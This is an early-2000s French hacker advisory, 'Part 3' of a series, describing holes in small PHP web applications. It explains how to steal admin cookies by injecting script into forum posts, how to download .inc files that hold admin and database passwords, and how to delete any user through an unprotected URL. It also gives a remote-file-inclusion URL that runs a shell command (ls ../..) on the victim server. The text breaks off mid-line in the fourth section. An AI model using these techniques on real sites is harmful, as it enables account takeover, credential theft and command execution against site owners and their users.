5 holes, Part 3
***************
Intro :
*******
Joyeux noël à ceux qui lisent ce texte dans ces environs.
Date :
******
26/04/02
Services :
**********
- 0wn f0rum
- Livre d'or
- Messagerie
- Recherche
- KvGuestbook
Developpements :
****************
1) 0wn f0rum
------------
http://www.0wn-f0rum.ch.vu/
Version :
2.1
Problèmes :
- XSS
- Récuperation des comptes users/admins
Developpement :
Quand on se logge, 2 cookies sont envoyés : ZoneAdmin et ZoneAdminLogin.
Le premier contenant pseudo:passcrypté:1, le deuxieme contenant le pseudo.
Les 2 sont obligatoires. Il faut donc récuperer ces cookies.
C'est très facile car on peut mettre dans le forum, comme titre ou comme message, du
javascript, vbscript, html ou autre; il sera executé.
Donc en mettant comme titre , on recuperera les cookies de ceux qui visitent la rubrique, et donc
leur compte.
2) Livre d'or
-------------
http://comuweb.online.fr
Versions :
1.1
1.2 (?)
Problèmes :
- Récuperation de password/login admins
- Récuperation de password/login/host DB
Developpement :
2 fichiers ont l'extension .INC, ils sont donc téléchargeables.
Ces fichiers se trouvent dans le repertoire principal de livre d'or.
Le premier, config.inc, contient :
- Nom de la base de données ($ma_base)
- Login admin ($webmestre)
- Password admin ($mot_de_passe)
Le deuxième, connexion.inc, contient :
- Nom de la BD ($database)
- Host de la DB ($host)
- Login DB ($user)
- Pass DB ($password)
3) Messagerie
-------------
http://www.labasse.fr.st
Version :
1.0 ?
Problème :
- Suppression de membres (commande admin)
- Autres ?
Developpement :
On peut voir au début de chaque script admin ces quelques lignes, assurant la sécurité :
-------------------------------------------------------------------------------
//vérification pour voir si le membre est passé par la page d'identification
session_start();
if (!session_is_registered ("id_membre"))
{
echo ("Veuillez d'abors vous loguer pour accéder à cette option");
exit();
}
?>
-------------------------------------------------------------------------------
Mais dans la page supp_membre.php, on peut lire un commentaire de l'auteur :
//plus besoin de vérifier la session, tout a été fais dans accueil_admin
Voilà qui est très interessant =)
Ce script permet de supprimer n'importe quel pseudo.
Il vérifie que le pseudo à supprimer n'est pas celui qui supprime, il se connecte
à la base de données puis envois :
$sql = "DELETE FROM comptes WHERE pseudo='$choix_membre_supp'";
L'url http://www.host.com/supp_membre.php?choix_membre_supp=polom supprimera l'utilisateur
'polom' si il existe.
Un autre trou que je n'ai pas fort exploité se trouve dans centre.php :
----------------------------------------------------------------------------
if ((substr($page,-5,5)==".php3") || (substr($page,-4,4)==".htm"))
{
include($page);
}
else
{
if (empty($page))
{
include("accueil.htm");
}
else
{
include($page.".php");
}
}
?>
----------------------------------------------------------------------------
On a donc le choix entre inclure du php3, du php ou des .htm ... ce qui est déja pas mal.
Et si c'est un fichier php que l'on veut inclure, il ne faut pas mensionner l'extension.
Par exemple pour inclure http://www.url.com/script.php, il faudra entrer l'url :
http://www.victime.com/centre.php?page=http://www.url.com/script .
Cela ouvre deja certaines portes, comme le XSS, ou visiter des pages anonymement.
Peut-être peut-on inclure un fichier qui executerait system("$command"); ...
Il aurait pu y avoir un problème pour entrer des variables dans lurl, vu que le script
verifie si l'url finit bien par .php3, .htm ou rajoute un .php, mais il suffit
que la dernière variable entrée soit égale à par exemple .php3 .
Exemple :
http://www.site.com/centre.php?page=http://www.url.com/script.php?command=ls%20../..&var=.php3
ou var=.htm .
4) Recherche
------------
http://www.php-free.net/index0.php3?ext=1&page=recherche&title=Recherche%201.1
Versions :
1.3
Problèmes :
- XSS
- Accès à une commande admin
- Possibilité de récuperation des login et pass admin
Developpement :
Le trou de de cross site scripting se trouve dans add.php3, fichier qui permet d'ajouter
des recherches :
echo "
description : $description";
Cette ligne est à titre d'exemple... pour prouver qu'il n'y a pas de filtre.
affichera donc une alerte contenant 'hello' à tout ceux qui
visiteraient la page contenant cette recherche.
Voyons maintnenant le fichier admin, qui est admin.php3 et est sécurisé par cette ligne :
if ($utilisateur == $user && $password == $pass) {
Donc il est dur si pas impossible de passer cette sécurité sans password.
Mais il y a un autre fichier, utilisé par l'admin, qui permet de supprimer des recherches.
Il se comme sql.php3 et voici son code :
----------------------------------------------------------------------------------------------
require("conf/conf-recherche.inc.php3");
if ($numero != "") {
$mysql_link = mysql_connect("$server", "$user", "$pass");
$requete = "DELETE FROM recherche WHERE num = '" . $numero . "'";
$delete = mysql_db_query($db, $requete);
header("Location: admin.php3?utilisateur=$utilisateur&password=$password");
} else {
echo "